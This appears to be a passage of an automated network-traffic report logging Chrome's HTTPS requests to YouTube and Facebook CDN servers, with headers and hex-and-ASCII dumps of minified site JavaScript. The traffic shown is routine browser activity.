2024-01-17 23:34:55 UTC	1252	IN	Data Raw: 2e 70 72 6f 74 6f 74 79 70 65 5b 64 5d 3f 63 3d 63 5b 64 5d 3a 63 3d 63 5b 64 5d 3d 7b 7d 3a 63 5b 64 5d 3d 62 7d 0a 3b 76 61 72 20 78 2c 7a 3d 76 28 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 29 2c 41 3d 7a 26 26 7a 5b 36 31 30 34 30 31 33 30 31 5d 3b 78 3d 6e 75 6c 6c 21 3d 41 3f 41 3a 21 31 3b 76 61 72 20 42 2c 43 3d 75 2e 6e 61 76 69 67 61 74 6f 72 3b 42 3d 43 3f 43 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 7c 7c 6e 75 6c 6c 3a 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 44 28 61 29 7b 72 65 74 75 72 6e 20 78 3f 42 3f 42 2e 62 72 61 6e 64 73 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 28 62 3d 62 2e 62 72 61 6e 64 29 26 26 2d 31 21 3d 62 2e 69 6e 64 65 78 4f 66 28 61 29 7d 29 3a 21 31 3a 21 31 7d 0a 66 75 6e 63 74 69 6f 6e Data Ascii: .prototype[d]?c=c[d]:c=c[d]={}:c[d]=b};var x,z=v("CLOSURE_FLAGS"),A=z&&z[610401301];x=null!=A?A:!1;var B,C=u.navigator;B=C?C.userAgentData\|\|null:null;function D(a){return x?B?B.brands.some(function(b){return(b=b.brand)&&-1!=b.indexOf(a)}):!1:!1}function
2024-01-17 23:34:55 UTC	1252	IN	Data Raw: 63 66 67 29 3f 76 6f 69 64 20 30 3a 6a 61 2e 64 61 74 61 5f 29 7c 7c 7b 7d 3b 77 28 22 79 74 2e 63 6f 6e 66 69 67 5f 22 2c 4f 29 3b 66 75 6e 63 74 69 6f 6e 20 50 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 20 4f 3f 4f 5b 61 5d 3a 62 7d 0a 3b 66 75 6e 63 74 69 6f 6e 20 6b 61 28 61 2c 62 29 7b 61 3d 50 28 22 45 58 50 45 52 49 4d 45 4e 54 5f 46 4c 41 47 53 22 2c 7b 7d 29 5b 61 5d 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 61 26 26 76 6f 69 64 20 30 21 3d 3d 62 3f 62 3a 4e 75 6d 62 65 72 28 61 7c 7c 30 29 7d 0a 3b 76 61 72 20 6c 61 3d 6b 61 28 22 77 65 62 5f 65 6d 75 6c 61 74 65 64 5f 69 64 6c 65 5f 63 61 6c 6c 62 61 63 6b 5f 64 65 6c 61 79 22 2c 33 30 30 29 2c 6d 61 3d 31 45 33 2f 36 30 2d 33 2c 6e 61 3d 5b 38 2c 35 2c 34 2c 33 2c 32 2c 31 2c Data Ascii: cfg)?void 0:ja.data_)\|\|{};w("yt.config_",O);function P(a,b){return a in O?O[a]:b};function ka(a,b){a=P("EXPERIMENT_FLAGS",{})[a];return void 0===a&&void 0!==b?b:Number(a\|\|0)};var la=ka("web_emulated_idle_callback_delay",300),ma=1E3/60-3,na=[8,5,4,3,2,1,
2024-01-17 23:34:55 UTC	1252	IN	Data Raw: 28 61 2c 62 29 2c 61 2e 44 3b 76 61 72 20 65 3d 61 2e 44 3b 61 2e 68 5b 65 5d 3d 62 3b 61 2e 6c 26 26 21 64 3f 61 2e 75 2e 70 75 73 68 28 7b 69 64 3a 65 2c 70 72 69 6f 72 69 74 79 3a 63 7d 29 3a 28 61 2e 69 5b 63 5d 2e 70 75 73 68 28 65 29 2c 61 2e 43 7c 7c 61 2e 6c 7c 7c 28 30 21 3d 3d 61 2e 67 26 26 54 28 61 29 21 3d 3d 61 2e 6d 26 26 55 28 61 29 2c 61 2e 73 74 61 72 74 28 29 29 29 3b 72 65 74 75 72 6e 20 65 7d 0a 66 75 6e 63 74 69 6f 6e 20 74 61 28 61 29 7b 61 2e 75 2e 6c 65 6e 67 74 68 3d 30 3b 66 6f 72 28 76 61 72 20 62 3d 35 3b 30 3c 3d 62 3b 62 2d 2d 29 61 2e 69 5b 62 5d 2e 6c 65 6e 67 74 68 3d 30 3b 61 2e 69 5b 38 5d 2e 6c 65 6e 67 74 68 3d 30 3b 61 2e 68 3d 7b 7d 3b 55 28 61 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 54 28 61 29 7b 69 66 28 61 2e 69 5b Data Ascii: (a,b),a.D;var e=a.D;a.h[e]=b;a.l&&!d?a.u.push({id:e,priority:c}):(a.i[c].push(e),a.C\|\|a.l\|\|(0!==a.g&&T(a)!==a.m&&U(a),a.start()));return e}function ta(a){a.u.length=0;for(var b=5;0<=b;b--)a.i[b].length=0;a.i[8].length=0;a.h={};U(a)}function T(a){if(a.i[
2024-01-17 23:34:55 UTC	1252	IN	Data Raw: 2e 6c 3d 21 30 3b 62 3d 44 61 74 65 2e 6e 6f 77 28 29 2b 28 62 7c 7c 61 2e 6f 29 3b 66 6f 72 28 76 61 72 20 64 3d 61 2e 69 5b 35 5d 3b 64 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 65 3d 64 2e 73 68 69 66 74 28 29 2c 66 3d 61 2e 68 5b 65 5d 3b 64 65 6c 65 74 65 20 61 2e 68 5b 65 5d 3b 69 66 28 66 29 74 72 79 7b 66 28 63 29 7d 63 61 74 63 68 28 44 61 29 7b 75 61 28 44 61 29 7d 7d 66 6f 72 28 64 3d 61 2e 69 5b 34 5d 3b 64 2e 6c 65 6e 67 74 68 3b 29 63 3d 64 2e 73 68 69 66 74 28 29 2c 65 3d 61 2e 68 5b 63 5d 2c 64 65 6c 65 74 65 20 61 2e 68 5b 63 5d 2c 65 26 26 53 28 65 29 3b 64 3d 61 2e 46 3f 30 3a 31 3b 64 3d 61 2e 6a 3e 64 3f 61 2e 6a 3a 64 3b 69 66 28 21 28 44 61 74 65 2e 6e 6f 77 28 29 3e 3d 62 29 29 7b 64 6f 7b 61 3a 7b 63 3d 61 3b 65 3d 64 3b 66 6f 72 Data Ascii: .l=!0;b=Date.now()+(b\|\|a.o);for(var d=a.i[5];d.length;){var e=d.shift(),f=a.h[e];delete a.h[e];if(f)try{f(c)}catch(Da){ua(Da)}}for(d=a.i[4];d.length;)c=d.shift(),e=a.h[c],delete a.h[c],e&&S(e);d=a.F?0:1;d=a.j>d?a.j:d;if(!(Date.now()>=b)){do{a:{c=a;e=d;for
2024-01-17 23:34:55 UTC	1252	IN	Data Raw: 65 72 49 6e 73 74 61 6e 63 65 49 6e 73 74 61 6e 63 65 5f 22 29 3b 69 66 28 21 61 7c 7c 61 2e 73 29 61 3d 6e 65 77 20 51 28 50 28 22 73 63 68 65 64 75 6c 65 72 22 29 7c 7c 7b 7d 29 2c 77 28 22 79 74 67 6c 6f 62 61 6c 2e 73 63 68 65 64 75 6c 65 72 49 6e 73 74 61 6e 63 65 49 6e 73 74 61 6e 63 65 5f 22 2c 61 29 3b 72 65 74 75 72 6e 20 61 7d 0a 66 75 6e 63 74 69 6f 6e 20 7a 61 28 29 7b 41 61 28 29 3b 76 61 72 20 61 3d 76 28 22 79 74 67 6c 6f 62 61 6c 2e 73 63 68 65 64 75 6c 65 72 49 6e 73 74 61 6e 63 65 49 6e 73 74 61 6e 63 65 5f 22 29 3b 61 26 26 28 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 64 69 73 70 6f 73 65 26 26 61 2e 64 69 73 70 6f 73 65 28 29 2c 77 28 22 79 74 67 6c 6f 62 61 6c 2e 73 63 68 65 64 75 6c 65 72 49 6e 73 74 61 Data Ascii: erInstanceInstance_");if(!a\|\|a.s)a=new Q(P("scheduler")\|\|{}),w("ytglobal.schedulerInstanceInstance_",a);return a}function za(){Aa();var a=v("ytglobal.schedulerInstanceInstance_");a&&(a&&"function"==typeof a.dispose&&a.dispose(),w("ytglobal.schedulerInsta
2024-01-17 23:34:55 UTC	312	IN	Data Raw: 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 63 61 6e 63 65 6c 41 6c 6c 4a 6f 62 73 22 2c 41 61 29 2c 77 28 22 79 74 2e 73 63 68 65 64 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 73 74 61 72 74 22 2c 47 61 29 2c 77 28 22 79 74 2e 73 63 68 65 64 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 70 61 75 73 65 22 2c 48 61 29 2c 77 28 22 79 74 2e 73 63 68 65 64 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 73 65 74 50 72 69 6f 72 69 74 79 54 68 72 65 73 68 6f 6c 64 22 2c 4a 61 29 2c 77 28 22 79 74 2e 73 63 68 65 64 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 65 6e 61 62 6c 65 50 72 69 6f 72 69 74 79 54 68 72 65 73 68 6f 6c 64 22 2c 4b 61 29 2c 77 28 22 79 74 2e 73 63 68 65 64 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 63 6c 65 61 72 50 72 69 6f 72 69 74 79 54 68 72 65 73 68 6f Data Ascii: uler.instance.cancelAllJobs",Aa),w("yt.scheduler.instance.start",Ga),w("yt.scheduler.instance.pause",Ha),w("yt.scheduler.instance.setPriorityThreshold",Ja),w("yt.scheduler.instance.enablePriorityThreshold",Ka),w("yt.scheduler.instance.clearPriorityThresho

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49814	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:55 UTC	610	OUT	GET /rsrc.php/v3i7M54/yU/l/en_US/NJVgMHwCLBZ.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:55 UTC	1230	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: d5BpGlX2RNf7PBm88qGYFg== Expires: Sat, 11 Jan 2025 20:08:39 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: 1CHkLRFsLwPaTrvGf+UdzSqX+dz/IMHqgoXJ0IN/D3XCQsWWci1ddWdodMTN/ARPbY+gSiwNDwAds3xVVB7R5Q== Date: Wed, 17 Jan 2024 23:34:55 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 50561
2024-01-17 23:34:55 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:55 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 50 61 67 65 48 6f 6f 6b 73 22 2c 5b 22 41 72 62 69 74 65 72 22 2c 22 45 72 72 6f 72 55 74 69 6c 73 22 2c 22 49 6e 69 74 69 61 6c 4a 53 4c 6f 61 64 65 72 22 2c 22 50 61 67 65 45 76 65 6e 74 73 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 3b 66 3d 7b 44 4f 4d 52 45 41 44 59 5f 48 4f 4f 4b 3a 22 64 6f 6d 72 65 61 64 79 68 6f 6f 6b 73 22 2c 4f 4e 4c 4f 41 44 5f 48 4f 4f 4b 3a 22 6f 6e 6c 6f 61 64 68 6f 6f 6b 73 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 6b 28 6c 2e 44 4f 4d 52 45 41 44 59 5f 48 4f 4f 4b 29 2c 77 69 6e 64 6f 77 2e 64 6f 6d 72 65 61 64 79 3d 21 30 2c 62 28 22 41 72 62 69 74 65 72 22 29 2e 69 6e 66 6f 72 6d 28 22 75 69 70 61 Data Ascii: /FB_PKG_DELIM/__d("PageHooks",["Arbiter","ErrorUtils","InitialJSLoader","PageEvents"],(function(a,b,c,d,e,f){var g;f={DOMREADY_HOOK:"domreadyhooks",ONLOAD_HOOK:"onloadhooks"};function h(){k(l.DOMREADY_HOOK),window.domready=!0,b("Arbiter").inform("uipa
2024-01-17 23:34:55 UTC	14962	IN	Data Raw: 61 64 79 48 6f 6f 6b 3d 28 63 3d 62 28 22 50 61 67 65 48 6f 6f 6b 73 22 29 29 2e 5f 64 6f 6d 72 65 61 64 79 48 6f 6f 6b 3b 61 2e 5f 6f 6e 6c 6f 61 64 48 6f 6f 6b 3d 63 2e 5f 6f 6e 6c 6f 61 64 48 6f 6f 6b 3b 61 2e 72 75 6e 48 6f 6f 6b 3d 63 2e 72 75 6e 48 6f 6f 6b 3b 61 2e 72 75 6e 48 6f 6f 6b 73 3d 63 2e 72 75 6e 48 6f 6f 6b 73 3b 61 2e 6b 65 65 70 5f 77 69 6e 64 6f 77 5f 73 65 74 5f 61 73 5f 6c 6f 61 64 65 64 3d 63 2e 6b 65 65 70 57 69 6e 64 6f 77 53 65 74 41 73 4c 6f 61 64 65 64 7d 29 2c 33 29 3b 0a 5f 5f 64 28 22 42 61 73 65 36 34 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e Data Ascii: adyHook=(c=b("PageHooks"))._domreadyHook;a._onloadHook=c._onloadHook;a.runHook=c.runHook;a.runHooks=c.runHooks;a.keep_window_set_as_loaded=c.keepWindowSetAsLoaded}),3);__d("Base64",[],(function(a,b,c,d,e,f){var g="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn
2024-01-17 23:34:55 UTC	16384	IN	Data Raw: 27 3c 69 66 72 61 6d 65 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 5f 65 6c 65 6d 22 20 6e 61 6d 65 3d 22 27 2b 61 2b 27 22 20 73 72 63 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 76 6f 69 64 28 30 29 22 20 2f 3e 27 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 24 4a 53 4f 4e 50 54 72 61 6e 73 70 6f 72 74 24 70 5f 35 3d 63 28 22 44 4f 4d 22 29 2e 61 70 70 65 6e 64 43 6f 6e 74 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2c 61 29 5b 30 5d 7d 3b 64 2e 73 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 3b 74 68 69 73 2e 67 65 74 54 72 61 6e 73 70 6f 72 74 46 72 61 6d 65 28 29 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 24 4a 53 4f 4e 50 54 72 61 6e 73 70 6f 72 74 24 70 5f 38 28 29 7d 3b 74 68 69 Data Ascii: '<iframe class="hidden_elem" name="'+a+'" src="javascript:void(0)" />');return this.$JSONPTransport$p_5=c("DOM").appendContent(document.body,a)[0]};d.send=function(){var a=this;this.getTransportFrame().onload=function(){return a.$JSONPTransport$p_8()};thi
2024-01-17 23:34:55 UTC	16384	IN	Data Raw: 6e 67 28 62 2c 62 2b 46 29 3d 3d 45 3b 72 65 74 75 72 6e 20 61 2e 73 75 62 73 74 72 69 6e 67 28 62 2b 46 29 7d 3b 66 2e 5f 66 69 6c 74 65 72 4f 75 74 46 6c 75 73 68 65 64 54 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 74 68 69 73 2e 66 6c 75 73 68 65 64 52 65 73 70 6f 6e 73 65 48 61 6e 64 6c 65 72 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 62 3d 61 2e 69 6e 64 65 78 4f 66 28 45 29 3b 72 65 74 75 72 6e 20 62 3c 30 3f 61 3a 61 2e 73 75 62 73 74 72 28 62 29 7d 3b 66 2e 5f 69 6e 74 65 72 70 72 65 74 52 65 73 70 6f 6e 73 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 72 65 64 69 72 65 63 74 29 72 65 74 75 72 6e 7b 72 65 64 69 72 65 63 74 3a 61 2e 72 65 64 69 72 65 63 74 7d 3b 69 66 28 61 2e 62 6f 6f 74 6c 6f 61 64 4f 6e 6c 79 29 72 65 Data Ascii: ng(b,b+F)==E;return a.substring(b+F)};f._filterOutFlushedText=function(a){if(!this.flushedResponseHandler)return a;var b=a.indexOf(E);return b<0?a:a.substr(b)};f._interpretResponse=function(a){if(a.redirect)return{redirect:a.redirect};if(a.bootloadOnly)re
2024-01-17 23:34:55 UTC	1330	IN	Data Raw: 6f 67 2e 70 6f 73 74 2e 66 61 69 6c 2e 22 2b 61 29 7d 29 2e 73 65 74 54 72 61 6e 73 70 6f 72 74 45 72 72 6f 72 48 61 6e 64 6c 65 72 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 67 65 74 45 72 72 6f 72 28 29 3b 28 68 7c 7c 28 68 3d 64 28 22 4f 44 53 22 29 29 29 2e 62 75 6d 70 45 6e 74 69 74 79 4b 65 79 28 33 38 36 31 2c 22 6c 69 6e 6b 73 68 69 6d 22 2c 22 63 6c 69 63 6b 5f 6c 6f 67 2e 70 6f 73 74 2e 74 72 61 6e 73 70 6f 72 74 5f 66 61 69 6c 2e 22 2b 61 29 7d 29 2e 73 65 6e 64 28 29 7d 67 2e 6c 6f 67 3d 61 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 5b 22 63 72 3a 31 30 39 34 39 30 37 22 2c 22 63 72 3a 31 32 39 30 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 Data Ascii: og.post.fail."+a)}).setTransportErrorHandler(function(a){a=a.getError();(h\|\|(h=d("ODS"))).bumpEntityKey(3861,"linkshim","click_log.post.transport_fail."+a)}).send()}g.log=a}),98);__d("FbtLogging",["cr:1094907","cr:1290"],(function(a,b,c,d,e,f,g){"use str

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49815	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:55 UTC	599	OUT	GET /rsrc.php/v3/yx/r/GIlJjyzEguQ.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:55 UTC	1229	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: eHvAVK2s6U4LrM/gUl2EwQ== Expires: Wed, 15 Jan 2025 08:43:00 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: Mn63SjrU55g+GXsWFsfbnY4295pj5VlM5PrOZDUaQ77Ujb3WmDTNA0ZMt2s+H+yLG03qotZgGMxgVyQJ7qEFtg== Date: Wed, 17 Jan 2024 23:34:55 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 1047
2024-01-17 23:34:55 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:55 UTC	1046	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 44 65 66 65 72 72 65 64 22 2c 5b 22 50 72 6f 6d 69 73 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 67 3b 28 67 7c 7c 28 67 3d 62 28 22 50 72 6f 6d 69 73 65 22 29 29 29 2e 72 65 73 6f 6c 76 65 28 29 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 76 61 72 20 63 3d 74 68 69 73 3b 61 3d 61 7c 7c 67 7c 7c 28 67 3d 62 28 22 50 72 6f 6d 69 73 65 22 29 29 3b 74 68 69 73 2e 24 31 3d 21 31 3b 74 68 69 73 2e 24 32 3d 6e 65 77 20 61 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 63 2e 24 33 3d 61 2c 63 2e 24 34 3d 62 7d 29 7d 76 61 72 20 63 3d 61 2e 70 72 6f 74 6f 74 79 70 65 3b Data Ascii: /FB_PKG_DELIM/__d("Deferred",["Promise"],(function(a,b,c,d,e,f){"use strict";var g;(g\|\|(g=b("Promise"))).resolve();a=function(){function a(a){var c=this;a=a\|\|g\|\|(g=b("Promise"));this.$1=!1;this.$2=new a(function(a,b){c.$3=a,c.$4=b})}var c=a.prototype;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49821	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:55 UTC	599	OUT	GET /rsrc.php/v3/yK/r/Lzd-U--zeLf.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:55 UTC	1229	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 8GrH+Ih37RkJzXzBE3SojQ== Expires: Sun, 05 Jan 2025 18:25:23 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), keyboard-map=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: NinUmC1sdnZ3MaPMTruNv0rmC1E/uy3m4Hd+5ktW2LiRQRYemOm9dYyM1DWWLGPS1ewAN8avvluiLNofIDckhg== Date: Wed, 17 Jan 2024 23:34:55 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 6499
2024-01-17 23:34:55 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:55 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 45 76 65 6e 74 45 6d 69 74 74 65 72 57 69 74 68 56 61 6c 69 64 61 74 69 6f 6e 22 2c 5b 22 42 61 73 65 45 76 65 6e 74 45 6d 69 74 74 65 72 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 62 61 62 65 6c 48 65 6c 70 65 72 73 2e 69 6e 68 65 72 69 74 73 4c 6f 6f 73 65 28 62 2c 61 29 3b 66 75 6e 63 74 69 6f 6e 20 62 28 62 2c 63 29 7b 76 61 72 20 64 3b 64 3d 61 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c 74 68 69 73 3b 64 2e 24 45 76 65 6e 74 45 6d 69 74 74 65 72 57 69 74 68 56 61 6c 69 64 61 74 69 6f 6e 31 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 62 29 3b 64 2e 24 45 76 65 6e 74 45 6d 69 74 Data Ascii: /FB_PKG_DELIM/__d("EventEmitterWithValidation",["BaseEventEmitter"],(function(a,b,c,d,e,f){"use strict";a=function(a){babelHelpers.inheritsLoose(b,a);function b(b,c){var d;d=a.call(this)\|\|this;d.$EventEmitterWithValidation1=Object.keys(b);d.$EventEmit
2024-01-17 23:34:55 UTC	4998	IN	Data Raw: 65 72 28 61 2c 62 2c 63 29 7d 2c 6c 69 73 74 65 6e 65 72 73 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 5f 67 65 74 45 76 65 6e 74 45 6d 69 74 74 65 72 28 29 2e 6c 69 73 74 65 6e 65 72 73 28 61 29 7d 2c 72 65 6d 6f 76 65 41 6c 6c 4c 69 73 74 65 6e 65 72 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 5f 67 65 74 45 76 65 6e 74 45 6d 69 74 74 65 72 28 29 2e 72 65 6d 6f 76 65 41 6c 6c 4c 69 73 74 65 6e 65 72 73 28 29 7d 2c 72 65 6d 6f 76 65 43 75 72 72 65 6e 74 4c 69 73 74 65 6e 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 5f 67 65 74 45 76 65 6e 74 45 6d 69 74 74 65 72 28 29 2e 72 65 6d 6f 76 65 43 75 72 72 65 6e 74 4c 69 73 74 65 6e 65 72 28 29 7d 2c 72 65 6c 65 61 73 65 48 65 6c 64 45 76 65 6e 74 Data Ascii: er(a,b,c)},listeners:function(a){return this.__getEventEmitter().listeners(a)},removeAllListeners:function(){this.__getEventEmitter().removeAllListeners()},removeCurrentListener:function(){this.__getEventEmitter().removeCurrentListener()},releaseHeldEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49819	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
